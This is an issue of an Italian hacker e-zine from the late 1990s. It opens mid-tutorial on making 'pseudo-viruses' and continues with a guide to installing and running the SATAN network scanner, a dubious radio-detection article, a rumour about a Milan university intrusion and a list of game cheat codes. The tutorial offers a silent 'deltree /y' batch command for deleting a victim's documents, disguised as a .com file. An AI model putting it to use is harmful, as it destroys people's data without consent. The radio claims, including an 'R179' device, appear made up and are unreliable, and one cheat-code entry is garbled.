Pklite o Petite (sempre sul mio sito) e comprimere l'eseguibile (che cazzo ne so, neanche questo mi funziona, sara' che io e winzoz siamo molto incompatibili e quindi lui lo fa per vendetta), la sintassi e' questa: pklite gargamella.com Vi ho elencato questi modi perche' si usa fare cosi', comunque se vi arrivasse un file .com che vi ho spedito state pur certi che non e' un virus dal momento che quello stronzo di winzoz mi vieta di fare le cosa che non gli vanno. Un grande FUCK alla Microsoft Altro metodo per fare degli pseudo-virus, nel caso che non vi andasse di formattare il disco duro della vittima, e' quello di usare "deltree /y", le procedure di creazione sono le stesse: @deltree /y c:\documenti questi comandi cancellano dal disco la cartella documenti senza chiederne la conferma, potete anche cancellare winzoz o insomma quello che vi pare, giocate solo di fantasia, poi se vi funzionano i metodi "standard" di cui sopra bhe'..beati voi!!! Ciauzzzzzzzz Quequero e-mail: [email protected] sito: http://quequero.cjb.net ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ S.A.T.A.N. ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ OK dopo molti tentativi sono riuscito a scrivere un articolo sul S.A.T.A.N. e spero che lo troviate interessante, VI RICORDO CHE MOLTE DELLE INFORMAZIONI CHE AVETE APPENA LETTO SONO STATE TROVATE IN GIRO PER LA RETE SUI LIBRI, NELLE FAQ MA ANCHE BASATE SU ESPERIENZE PERSONALI, QUESTE INF. RACCOLTE SONO POI STATE RIELABORATE PER RENDERLE PIU' COMPRENSIBILI E ALLO STESSO TEMPO PIU' INTERESSANTI. Cominciamo...Molti potrebbero pensare che il SATAN (visto la fama costruitasi in rete) sia un super programma che basta lanciarlo e ti da l'accesso a qualsiasi sistema informatico dal piu' marcio e baggato al sistema informatico della CIA. Ma in realta' cos'e' il SATAN ..???? S.A.T.A.N. acronimo di Security Administrator Tool for Analyzer Networks, non e' altro che un tool per l'analisi dei sistemi di siqurezza delle reti, venne ideato e scritto Dan Farmer e Wietse Venema con lo scopo di ricercare le falle presenti nei sistemi informatici. Fece la sua prima comparsa il 5 Aprile del 1995 con l'intendo di interrogare milioni di Sistemi spersi per internet nel tentetivo di provare le debolezze che rendevano i sistemi vulnerabili. Il S.A.T.A.N. e' un tool per Unix o quasi (volevate che lo facessero per Win95) per poter utilizzare satan occorre avere accesso da root ad una piattaforma supportata da unix, aver installato il perl 5.0 o successivo, un browser web, 32mega di ram, e 5 mega liberi di spazio su hd (li avrete spero ;)). Sfortunatamente SATAN non e' compatibile con tutte le macchine UNIX come invece avremmo voluto che fosse . 1. Sistemi Operativi. Questa versione di SATAN lavora con i seguenti Sistemi Operativi (OS): - SunOS 4.1.3_UI - SunOS 5.3 - Irix 5.3 2. Piattaforme Hardware. Satan e' stato provato con le seguenti macchine: - SPARCstation 4/75 - SPARCstation 5 - Indigo 2 Comunque questo programma sarebbe eseguito anche su altre macchine: provando a digitare "make" nella directory principale del TOOL, si ottiene una lista di quelle che si auspicano compatibili (attualmente sono: AIX, BSD, IRIX5, HP-UX 9.x, SunOS 4 & 5, SYSV-R4, Ultrix 4.x,). E' importante rilevare (Inf. giuntami ma non ho provato) che l'utente puo' avere a disposizione il "tcpd wrappers" o altri meccanismi che eseguono il comando "reverse finger", tali caratteristiche devono essere tolte prima di utilizzare il SATAN! C'e' una ragionevole possibilita' che qualche host esterno presente in rete abbia la stessa caratteristica attiva: se tale host viene interessato irettamente o secondariamente da delle esplorazioni si potrebbe entrare in una "finger war" o in infiniti loop di "finger" che vanno avanti e indietro tra te e i tuoi obiettivi. Naturalmente accertati di ripristinare le condizioni iniziali una volta che si e' finito di collezionare i dati con il SATAN. File del SATAN: SATAN crea e usa pochi file, mentre un utente puo' "dialogare" solo con il file di configurazione. Vediamo quali sono i file che il SATAN utilizza (leggendoli o creandoli) durante la sua esecuzione: 1. bin/* - Questi sono programmi da cui SATAN dipende per l'acquisizione dei dati. 2. config/* - File di configurazione di cui ha bisogno il SATAN per trovare gli altri programmi utili all'esplorazione e per impostare le variabili con dei valori "base" ("default"). 3. html/* - File che comprendono pagine HTML e programmi Perl che generano le pagine per l'interfaccia utente. 4. perl/* - Codice utilizzato dal SATAN o dai "tool" di acquisizione dati. 5. result/database-name. - "Satan database". Ogni "database" e' composto di tre parti: 5.1. all-hosts. - Questa e' una lista di tutti gli hosts che il SATAN ha trovato durante la sua esplorazione, inclusi anche quelli che non ha mai "toccato". 5.2. facts. - Questa e' una lista di tutte le uscite emesse dai vari comandi " *.satan tools". Queste registrazioni sono cio' che viene processato dal SATAN per generare le relazioni documentative. 5,3. todo. - Questa lista elenca tutti gli hosts e le incursioni che ha veramente eseguito contro tali hosts. Con questa tabella SATAN conosce quali incursioni puo' saltare e passare ad una successiva esplorazione. 6. rules/*. - Le regole che il SATAN usa per valutare la situazione e ricavare i risultati dalle informazioni esistenti. L'estrema flessibilita' (data dall'interpretazione del codice "perl") e' una delle caratteristiche piu' potenti del SATAN. •7. src/*. - Codice sorgente di alcuni programmi di supporto al SATAN. Metodologia di lavoro utilizzata dal Satan Il Satan richiede l'acquisizione dell'obiettivo ("target") in modo da determinare immediatamente con il comando "fping" se l'host o gli host della sottorete da valutare sono vivi ("alive": cioe' e' possibile tentare delle operazioni su tali macchine). Una volta superato il primo passo viene compilata una lista degli obiettivi attivi e viene passata ad un processo che eseguira' tutti i comandi relativi alla collezione dei dati e il principale loop di iterazione sugli host di fiducia. Ogni host e' esaminato per vedere se e' gia' stato individuato precedentemente se cio' non si verifica viene lanciata una serie di controlli ed esplorazioni anche contro di esso. Queste prove emettono un "record" di dati in cui e' stato registrato il nome dell'host, i tests eseguiti e ogni risultato ottenuto da tale indagine: successivamente questi dati sono salvati in un file di analisi. Tramite l'interfaccia HTML, utilizzata per prendere visione di questa vastita' di dati coerenti ai risultati ottenuti, l'utente puo' leggerli cercando di interpretarli e capirli. Installazione del Satan Questo applicativo si trova in rete ed ha una distribuzione shareware, quindi, una volta individuato un sito che abbia l'ultima versione del SATAN, si procede a scaricarlo. Una volta scaricato lo decompattiamo senza lasciarne una copia compressa: \uncompress satan-1.1.1.tar.Z \tar -xvf satan-1.1.1.tar \cd satan-1.1.1 -Si esegua lo script reconfig il quale, tra le altre cose, cerca Perl e i browser web nelle locazioni standard. -Si editi config /path.pl per accettarsi che la variabile di Perl $MOSAIC contenga il nome del comando per il browser preferito dall'utente. -Si esegua make senza argomenti per vedere il menu dei tipi di sistema, quindi lo si esegua nuovamente fornendo il nome del proprio tipo di sistema: \make Usage: make system-type. Know types are: aix osf bsd bsdi dgux irix4 irix5 freebsd hpux9 linux sunos4 sunos5 Asysv4 \make linux Dopo aver configurato il tutto lanciamo il programma portandosi all'interno della home directory per eseguirlo, altrimenti si riceveranno uno o piu' messaggi di errore da Perl: # ./satan SATAN is starting up..... Adesso conviene leggere il file "README", in cui oltre ad essere descritti i passi gia' compiuti per scompattare, viene spiegato come installare il pacchetto applicativo SATAN. Il punto 4 di questo file suggerisce di lanciare il file "reconfig...." in modo che il programma si memorizzi vari parametri, relativi all'ubicazione degli applicativi di suo interesse, utili al lancio degli eseguibili richiesti per ogni fase della sua azione, sia di esplorazione che di attacco di un sito remoto: ad esempio Netscape ,Perl, ... In questa fase e' stato (INF pervenutami) riscontrato un problema non dipendente da questo applicativo ma dovuto ad una non perfetta installazione di Netscape: l'eseguibile di Netscape non si trovava nella sottodiractory "standard", dove l'utente dovrebbe mettere i programmi che aggiunge in un secondo tempo rispetto a quelli gia' offerti dal sistema operativo. Questo inconveniente viene segnalato nell'esecuzione del "reconfig", per rimediare abbiamo dovuto modificare manualmente il file "paths.pl" che si trova nella directory satan/satan-1.1.1/config/ e precisamente abbiamo sostituito la riga $MOSAIC="/usr/exp/bin/netscape"; con la riga $MOSAIC="/usr/local/netscape/netscape"; cosi` il SATAN puo` avviare il Netscape quando viene eseguito. Una volta decompresso il pacchetto applicativo e' necessario compilarlo per produrre il file eseguibile adatto alla propria macchina; noi abbiamo lavorato con una workstation SUN SPARK OS5.Il compito della compilazione e` presente il file "Makefile" che rende questa operazione automatica: in questo file sono contenute la righe di comando che si devono eseguire con tutti i parametri necessari per produrre il codice eseguibile. Digitando "make linux" si lancia il Makefile che compila il SATAN. Nonostante l'uso dei Makefile renda possibile la compilazionedei programmi anche a chi non e' esperto in programmazione puo` capitare che il comando "make" produca un messaggio di errore come e` avvenuto nel mio caso. In queste circostanze si deve modificare a mano il file "Makefile" per toglire l'impedimento che ha causato l'errore e questo richiede una conoscenza dei linguaggi di programmazione. Nel nostro caso specifico il Makefile aveva bisogno di un compilatore per linguaggio c chiamato "cc" che non riusciva a trovare in quanto non era presente sul nostro computer. Il compilatore che la nostra macchina usa si chiama "gcc" ed e` una versione piu` recente ma compatibile del "cc".Abbiamo cosi' aggiunto cc="gcc" nella riga dove c'e` l'istruzione che richiama il compilatore c. File di configurazione del Satan Il file "config/satan.cf" e' molto importante. Qualunque azione del Satan e' controllata attraverso questo file: esplorazione di host e reti, livello di incursione, come la lontana investigazione si propaghera' dall'host originale, quali tests saranno eseguiti, etc. Questo file non e' altro che un codice scritto in linguaggio PERL il quale viene mandato in esecuzione nella fase di inizializzazione del programma; -Configurazione Livello di Attacco. #Default attack level (0=light, 1=normal, 2=heavy) $attack_level = 0; questo seleziona il livello di attacco, il quale comunica al Satan il tipo di incursione (si vedra' successivamente) da applicare contro il "target host". Livelli di Atacco del SATAN: Consideriamo un attacco a livello di target. Durante l'attacco bisogna valutare l'impatto potenziale sul sistema locale su cui si trova SATAN, i sistemi target e tutte le reti intermedie, in modo da avere una soluzione globale di quello che succede con tutti i 3 livelli di attacco. 1)In un attacco light, SATAN richiede al dns di cercare di determinare l'hardware del target e la configurazione del sistema operativo, il sistema per lo scambio della mail e cosi via. Quindi contatta il portmapper RPC del target, se ce ne e' uno attivo, per scoprire quali server applicativi basati su RPC stanno girando sulla macchina. 2)In un attacco normale include le ricerche svolte con l'attacco light, oltre ad una interrogazione finger per determinare i nomi di account degli utenti e i nomi degli host di sistemi remoti che hanno accesso al target. Inoltre vengono esaminate un certo numero di porte di servizio standard (FTP, Telnet, SMPT, NNPT, UUCP, e alcune altre) per scoprire quali server di rete sono disponibili. 3)Un attacco completo include le procedure dell'attacco normale, oltre ad un esame ancora piu' accurato delle porte TCP e UDP che possono essere collegate a server di qualunque tipo. Vengono esaminate in particolare le porte TCP 1-9999 e UDP 1-2050 e 32767-33500. Con questo esame SATAN e' in grado di scoprire molte cose interessanti, quali un daemon telnet su una porta non standard che puo' costituire una potenziale porta di servizio al sistema. Tutti e tre i metodi di attacco includono un esame delle condizioni (conditional probe). Questo viene eseguito solo se dalle prove eseguite emergono degli atti che lo fanno ritenere opportuno. Se per esempio viene scoperto un server NFS durante un attacco light, viene eseguito il comando showmount sul target per ottenere il suo elenco di export. Naturalmente non ha senso eseguire questo controllo se non e' presente il server NFS. !!!!..FINE..!!!! VI RICORDO CHE MOLTE DELLE INFORMAZIONI CHE AVETE APPENA LETTO SONO STATE TROVATE IN GIRO PER LA RETE SUI LIBRI, NELLE FAQ MA ANCHE BASATE SU ESPERIENZE PERSONALI, QUESTE INF. RACCOLTE SONO POI STATE RIELABORATE PER RENDERLE PIU' COMPRENSIBILI E ALLO STESSO TEMPO PIU' INTERESSANTI. L'AUTORE (Anti-Social :9 ) DECILNA OGNI RESPONSABILITA' SU TUTTO..!!!! TUTTO IL MATERIALE CONTENUTO IN QUESTO ARTICOLO E' ESCLUSIVAMENTE A FINI INFORMATIVI L'AUTORE DECLINA OGNI RESPONSABILITA' PER DANNI PROCURATI A COSE O PERSONE. LE INFORMAZIONI CONTENUTE IN QUESTO TESTO SONO ESCLUSIVAMENTE GRATUITE. FakeOff by Anti-Social ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ********************** * Radio che passione * ********************** [email protected] Allora saro' sintetico perche' e' la seconda volta che scrivo questo art dato che mi si era fottuto il pc ... Scrivo a tutti i radioamatori e non . Il radiogoniometro spero sappiate cosa e' ...NO ???? ...allora : Il radiogoniometro serve per FOTTERE tutti quelli che fottono le poste italiane non pagando la tassa sulle ricetrasmittenti . Questo apparecchio si basa sulle portanti (tutti sannop cosa sono io non ve lo spiego) . Infatti e' composto da 1a base contenente l'apparecchiatura e 1 antenna yagi (come quella della TV per intenderci) che capta da dove la portante e' + intensa e quindi da dove trasmettete . Ora tutti sanno che trasmettendo le onde radio, queste possono essere intercettate mentre ricevendole si e' al sicuro ...NO ! Purtroppo non e' + vera questa affermazione ! Infatti le antenne in piccola parte fungono da bridge riflettendo pochissimo, pochissimo , ma pur sempre 1 po' il segnale . Ecco le poste americane hanno introdotto una nuova apparecchiatura in grado di utilizzare questa proprieta' delle antenne radio ! Quest'apparecchiatura si chiama R179 (non chiedetemi cosa significa perche' non lo so ...) ed e' 1a specie di radiogoniometro solo infinitamente + sensibile in grado di ricevere i "bounce" delle antenne radio . Cmq questo controllo non durera' molto per leggi sulla privacy ecc si stanno sperimentando apposite antenne PIU' COSTOSE (ovviamente) che assorbono e non riflettono. NB: assorbono e non decodificano ASSORBONO !!! della serie ...New Technology ... by ULNTWH9 ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ *************************** * Milano citta' di Fuoco * *************************** Grossi movimenti all'universita' di Milano !!!! Le news sono sconcertanti e provengono da 1a fonte sicura ... Cosa e' successo ? Non e' molto chiaro ma si sa solo che si e' cercato di non fare scalpore infatti sui giornali non e' usito nulla ! All'universita' di Ingegneria di Milano tutto scorreva tranquillo in classe quando ad un certo punto arrivo' una persona distinta ...CAZZ era un console americano ! Cosa era successo ? Qualcuno era riuscito ad accedere a dati riservati in tanta malora e aveva lasciato la sua bava in giro ... Bhe se vi viene in mente di provare qualche cosa io vi sconsiglio di provarlo li' ...e' sotto strettissimo controllo della polizia internazionale che non sta aspettando altro che 1 capro espiatorio !!! Se poi siete bravi e la sfida (non da casa vostra spero) vi affascina fate pure ...io mi sono sentito in dovere di avvertire tutti !!! by ULNTWH99 ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ²°°°°°°°°°°°°°°ÛÛÛÛÛÛÛÛ°°ÛÛ°°°°ÛÛ°°ÛÛÛÛÛÛ°°°°°°ÛÛ°°°°°ÛÛÛÛÛÛÛÛÛÛ°°°°°°°°°°°°°² ²°°°°°°°°°°°°°°ÛÛ°°°°°°°°ÛÛ°°°°ÛÛ°°ÛÛ°°°°°°°°°ÛÛÛÛ°°°°°°°°ÛÛ°°°°°°°°°°°°°°°°°² ²°°°°°°°°°°°°°°ÛÛ°°°°°°°°ÛÛÛÛÛÛÛÛ°°ÛÛÛÛ°°°°°°ÛÛ°°ÛÛ°°°°°°°ÛÛ°°°°°°°°°°°°°°°°°² ²°°°°°°°°°°°°°°ÛÛ°°°°°°°°ÛÛ°°°°ÛÛ°°ÛÛ°°°°°°°ÛÛÛÛÛÛÛÛ°°°°°°ÛÛ°°°°°°°°°°°°°°°°°² ²°°°°°°°°°°°°°°ÛÛÛÛÛÛÛÛ°°ÛÛ°°°°ÛÛ°°ÛÛÛÛÛÛ°°ÛÛ°°°°°°ÛÛ°°°°°ÛÛ°°°°°°°°°°°°°°°°°² ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ NOTA DI N0bodY88 = in questo numero apriamo questa nuova rubrica gestita dal grande p4P3r1_N0 (che tra le tante cose gestisce un sito web e una m.l. dedicata ai giochi :-DDDD) quindi fateci sapere se vi piace (cosi' si va avanti) o se non vi piace (tanto andiamo avanti lo stesso :PPPPP). Byez e buone partite ma....non barate troppo =) hihihi ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ TRUCCHI NEI GIOCHI CHE COMINCIANO X A E B ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Salve a tutti ragazzi........ma ci pensate? Io, un newbie con fattore di conoscenza in fatto di hacking/phreacking/virus writing/cracking uguale a -3 (come del resto penso sia comune a tutti i newbies di questo piccolo e scemo mondo) sto scrivendo x voi tutto questo (non lo buttate, vi prego ;) ). Per questa grassa opportunit... devo ringraziare il mitico Nobody (RuleZ), e lo faccio con questo msg. "Se fossi femmina ti avrei baciato, ma visto che sei maschio ti voglio dire grazie a nome mio e a nome (penso) di tutti i newbies di questo mondo, per darci l'opportunit... di farci conoscere un p• nell'ambiente". D'altronde sbaglio o Internet Š un posto in cui tutti ci possiamo far riconoscere da tutti con poco? Finita la parte a mio avviso pi- facile da scrivere per chi fa l'articolo e pi- pallosa per chi lo legge, passo a descrivervi -non vi preoccupate, solo in 2 parole, svelte svelte ;P - quello che far• per questa e-zine. Sebbene conosca pochi hacker e/o newbies che si divertano con i giochini, vorrei essere utile sopratutto a loro, inserendo di nø in nø dei cheats. * **** ** * * * * ** **** * /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ ___ ___ ___ _____ | | | | | | | | |___| |___ |___| | | | | | | | | |___ | | |___ | | | \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\ * **** ** * * * * * ** **** Che ne dite ? Come primo mio disegnino non sono poi andato cos• male, eh? Ora esco, vado a fare un paio di partite a biliardo, poi continuer• questo articolo...byeZ 4 now. Ore 19:32 Riekkomi a voi, popolo di Newbies! |ø_ø| Qui sotto aggiungero' un po' di trucchi di qualche gioco, dato che il Nob mi ha espressamente chiesto di non essere troppo prolisso. (d'altronde, come si dice, meglio poche cose ma buone ;) ) ___ **| |** **|___|** **| |** |ALIEN CARNAGE| Digitate questi cheats durante la fase di gioco: BADASS Avrete tutte le armi complete di munizioni FLRUP Avrete tutte le armi, compresa la pistola automatica ETHER Slow mode (al rallentatore) GTNX Digitatelo e potrete scegliere da quale livello inizierete a giocare! HOLLYWOOD God Mode SGTROCK Di tutto di piu' (god mode, tutte le armi e il pieno di munizioni!) |ACTUA SOCCER| Per far diventare la vostra squadra invincibile dovete far partire il gioco Con il comando SOCCER-01141475549. |AFTER THE WAR| Eccovi i cheat: 101069 (accedete al 2ø livello) [ALT] + L + B (invincibili per il 1ø livello) [ALT] + L + M (invincibili per il 2ølivello) |Questo e' il gioco per chi si sente un padreterno (pessimo battuta). Comunque, eccovi dei codicilli da inserire durante le sessioni di gioco: $@! (incassate 10 milioni di pennies, ma solo per 5 volte, o la Death Star vi distruggera' il paradiso) SAMNMAX (digitatelo 3 volte (in maiuscolo) per il "secret BAD THING") |AGE OF THE EMPIRES| Durante questo giochillo premete ENTER per attivare il cheat mode, poi digitate: NO FOG (rimuove la Fog of War) HARI KARI (suicidio) DIEDIEDIE (uccidi tutti i nemici) RESIGN (arrenditi) REVEAL MAP (rivela tutta la mappa) PEPPERONI PIZZA (1000 cibo) COINAGE (1000 oro) WOODSTOCK (1000 legno) QUARRY (1000 pietre) PHOTON MAN (avrai un "Nuke Trooper", ovvero un soldato armato di fucile al laser...fico!) GAIA (controlla gli animali) STEROIDS (produzione istantanea) HOME RUN (vinci il livello corrente) BIGDADDY (avrete una bella macchinina lancia razzi!!) |AMOK| Per scegliere il livello da cui iniziare a giocare basta digitare ZZZCYX al posto della password nella schermata delle opzioni. Punto e basta |ANGBAND| Per aprire il menu' dei cheats basta digitare [CTRL] + W e poi [SHIFT] + H mentre state giocando. |APACHE LONGBOW| Se inserite nel nome del pilota il codice MONTY BARRYMORE Diventerete invincibili e avrete infinite munizioni nel "campaign mode" |APACHE| Al posto del vostro nome digitate questi: FLAMDWYN AIOBHELL per le "ammo" infinite (le munizioni) LYN WINS per il god mode e le munizioni infinite |ASHES TO ASHES| Questi sono dei codicilli da digitare mentre giocate: ALLLEVELS Apparira' un menu' con tutti i livelli NOLEVELS Chiude il menu' di cui sopra FPS Secondo voi? E' per misurare il frame rate NEXT Di korsa al prossimo livello! NOAMMO Codice da suicida: spariscono di botto tutte le munizioni :(( GODMODE Questo non me la sento di spiegarvi |ASTROROCK 2000| Codicilli freschi freschi per voi da digitare mentre giocate: KICKASS Avrete tutte le armi FPS Mostra il frame rate TOOHOTFORME Passate al prossimo livello |AXELERATOR| Mentre giocate, tenendo premuto il tasto [CTRL] digitate questi cheats: MUCHMONEY riceverete 130.000 dollari (funzionasse nella vita reale :) ALLWEAPONS ricevete ogni arma HELPME E' come andare dal carrozziere gratuitamente :) AGGRESSOR Proiettili infiniti BOOSTER Super Turbo!!! ___ **| /** (so che come B fa un po' schifo, ma ho incominciato oggi a lavorare **| /_** co sti' cazzo de disegnini....;=))) **| /** **|_/ ** |BAP| Eccovi i codici dei livelli: ZEEHC NIHAO !WIU! HEHEH VWXYZ 22670 PCIBM (che ne dite, questo codice non vi ricorda qualcosa??? :) RUNIT SEEYO !BYE! E con l'ultimo codice vi saluto anche io! |BATTLE ARENA TOSHINDEN| nserite questi codici dal menu' principale: GIMMEJIM Codice Boss VIRTUAL1 visuale in prima persona FUNNYHEADS teste mooolto strane! LIFEISUNFAIR colpi segreti, ma non so se funzia |BATTLE BEAST| Per questo gioco vi fornisco subito i cheat: Digitate YOYOYO per entrare nel cheat mode, poi: AOFREOIO (apre tutte le porte bonus) OAOAEIOA (autofly nel laboratorio) EHRTRR (autofly nel bonus "enable") Prima di rigiocare, accertatevi di aver resettato tutti i codici. |BATTLE CHESS CAPTURE THE QUEEN| Cavolo, di questo gioco e' piu' lungo il titolo che il cheat, comunque gia' che ho scritto il titolo vi scrivo anche il cheat (in qualche modo la dovevo riempire questa pagina, no?) Mentre giocate digitate DISTRACTIONPIECE e la regina dell'avversario morira'...SIGH! :))) |BATTLE ISLE 2| Codicilli di livello: AMPORGE livello 1 JOGRWAI livello 2 GEGIDOS livello 3 WABODAE livello 4 BUFASWE livello 5 GEHAUWA livello 6 OLARIBU livello 7 FITORGE livello 8 DAFATWA livello 9 WABIKDO livello 10 |BATTLE ISLE 3| Eccovi dei codici di livello: 2975462 livello 1 6487674 livello 2 1564386 livello 3 9745642 livello 4 3756838 livello 5 2957843 livello 6 8844366 livello 7 2375411 livello 8 3854653 livello 9 5647332 livello 10 |BATTLE ISLE 93| Eccovi i (molti) codici per il passaggio dei livelli con il "single player": LUMIT LUNAR LUTOF SONIX SOSOO SONAF RAMPE RANGG PARTS FIEST FINXT EBENE EBSYL EBONY EBTAR KARST KANTO KAROT KAIST SYBIL SFINX SYNOM Anf, Anf! :) |BATTLE ISLE| Inserite questi FIRST GHOST GAMMA MARSS EAGLE METAN FOTON POLAR TIGER SNAKE DONNN VESTA OXXID DEMON GIANT EUROP 1564386 livello 9745642 livello 3756838 livello 2957843 livello 8844366 livello 2375411 livello 3854653 livello 5647332 livello cheats in un qualsiasi punto del gioco: 3 4 5 6 7 8 9 10 |BATTLEZONE| Per questa riedizione del vecchio e glorioso Battlezone eccovi dei codicilli: tenete premuti [SHIFT] + [CTRL] e digitate questi cheats: BZBODY Avrete scudi illimitati BZFREE Piloti infiniti BZRADAR Avrete scoperta l'intera mappa BZTNT Munizioni illimitate |BETRAYA IN ANTARA| Eccovi alcuni cheats: [SHIFT] + [CTRL] + Z per attivare il "cheat mode", poi: GOTTA HAVE MAGIC (impari tutti gli incantesimi) WHY AM I SO DULL (tutte le opzioni del carattere sono al massimo) SOM CALL ME TIM (distrugge tutti i nemici nel battle screen) ASK A GLASS OF WATER (teleport party all'inizio del capitolo) MAN DOES MY LEG HURT (heal the party) SUPERMARKET FOR THE RICH (accesso ai buoni item) |BIG RED RACING| Se vuoi usare qualsiasi veicolo su qualsiasi pista di questo divertente gioco fallo partire scrivendo (nella directory del gioco!): RACING -CAR CAR1 -CAR CAR2 Dove CAR1 e CAR2 sono il nome della macchina scelta. Tutte le macchine le trovate nella directory del gioco e hanno l'estensione .VHC |BLOOD BATH AT RED FALLS| Digitate questi cheats durante la fase di gioco: BADASS Avrete tutte le armi complete di munizioni FLRUP Avrete tutte le armi, compresa la pistola automatica ETHER Slow mode (al rallentatore) GTNX Digitatelo e potrete scegliere da quale livello iniziarete a giocare! HOLLYWOOD God Mode SGTROCK Di tutto di piu' (god mode, tutte le armi e il pieno di munizioni!) |BLOOD| Questi codici vanno inseriti nel gioco dopo aver premuto il tasto T. MPKFA (invincibilita') LARA CROFT (armi e munizioni infinite [alzi la mano chi non ha pensato a Tomb Raider]) KEYMASTER (tutte le chiavi) MONTANA (Tutti gli oggetti) EVA GALLI (no clipping mode) |BONKHEADS| Digitate questi codici (molto ma molto velocemente, senno' nisba) durante le vostre sessioni di gioco. 1AMTNT Riceverete altra dinaminte (TNT) 1AMFREETROLL Extra Life 1AMFAST Il vostro personaggio sara' piu' veloce 1AMSKIP Passate di corsa al livello successivo Al momento di scegliere invece se giocare in single mode o con un amico premete [SHIFT] + [CTRL] per poter giocare qualsiasi livello |BRIX 2| Eccovi i codici dei livelli KLMN (1-1-1) CJNN (1-1-2) KJNN (1-1-3) CLNN (1-1-4) IMMNG (2-1-1) IEKOG (2-1-2) IMKOG (2-1-3) IEMOG (2-1-4) KJNNOP (3-1-1) KJFLPP (3-1-2) KJNLPP (3-1-3) KJFNPP (3-1-4) KDMOOPQ (4-1-1) KDMGMQQ (4-1-2) CBFENQQ (4-2-2) CBFMNQQ (4-2-3) CBFEPQQ (4-2-4) CJLONQQR (5-3-1) CJLOFORR (5-3-2) CJLONORR (5-3-3) CJLOFQRR (5-3-4) CJDGFPVRS (5-4-1) |BRIX| Eccovi i codici per entrare in ogni livello (i numeri corrispondono al livello a cui si accede digitando le lettere): ALKL (1-1-1) ILKL (1-1-2) AJLL (1-1-3) KJKLE (2-1-1) KBMLE (2-1-2) KJMLE (2-1-3) KBKME (2-1-4) ILKLMN (3-1-1) ILCNMN (3-1-2) ILKMNM (3-1-3) KDENMF (3-2-2) KDMNMF (3-2-3) IBKEONO (4-1-1) IBKMONO (4-1-3) OBKEMOO (4-1-4) IJKLNNOP (5-1-1) IKJLFPOP (5-1-2) IBMDHPOP (5-2-2) IBMDPPOP (5-2-3) IBMDHNPP (5-2-4) IBEFGQOPQ (6-2-1) IBEFGIQPQ (6-2-2) |BUBBLE BOBBLE| Digitare SDABSDAB e poi premere: F3 (saltare al livello successivo) F4 (Extended pieno per il player one) F5 (vite infinite) F6 (alla fine del livello in corso saremo al 99) Se volete finirla di barare ri-digitate SDABSDAB Bene, ora ho inserito solo i cheats con la A e la B (per ragioni di spazio) ma vi prometto che (sempre che la cosa vi aggrada) di pubblicare le altre lettere nelle proxime edizioni di NEWBIES. Fatemi sapere qualsiasi cosa che riguardi il mondo dei cheats, se avete qualche prob. con i codici che ho pubblicato, se mi volete aiutare, se ne volete aggiungere altri, o anke per raccontarmi qualke kazzata.... MAILATEMI QUI --->[email protected]<---MAILATEMI QUI Bene, detto cio' non mi resta altro che dirvi........ ___ ___ ___ _ _ / | | \ / | | / / \ / \ |\ | /_ |___ |___ \ / |___| /_ / 0 \ / 0 \ | \ | / | | / | | / \ 0 / \ 0 / | \ | / |___ |___ / | | / \_/ \_/ | \| \_/ |0 0| | 4 | | š | \ / | | Powered By --@ p4P3r1_N0 @-| | ;) 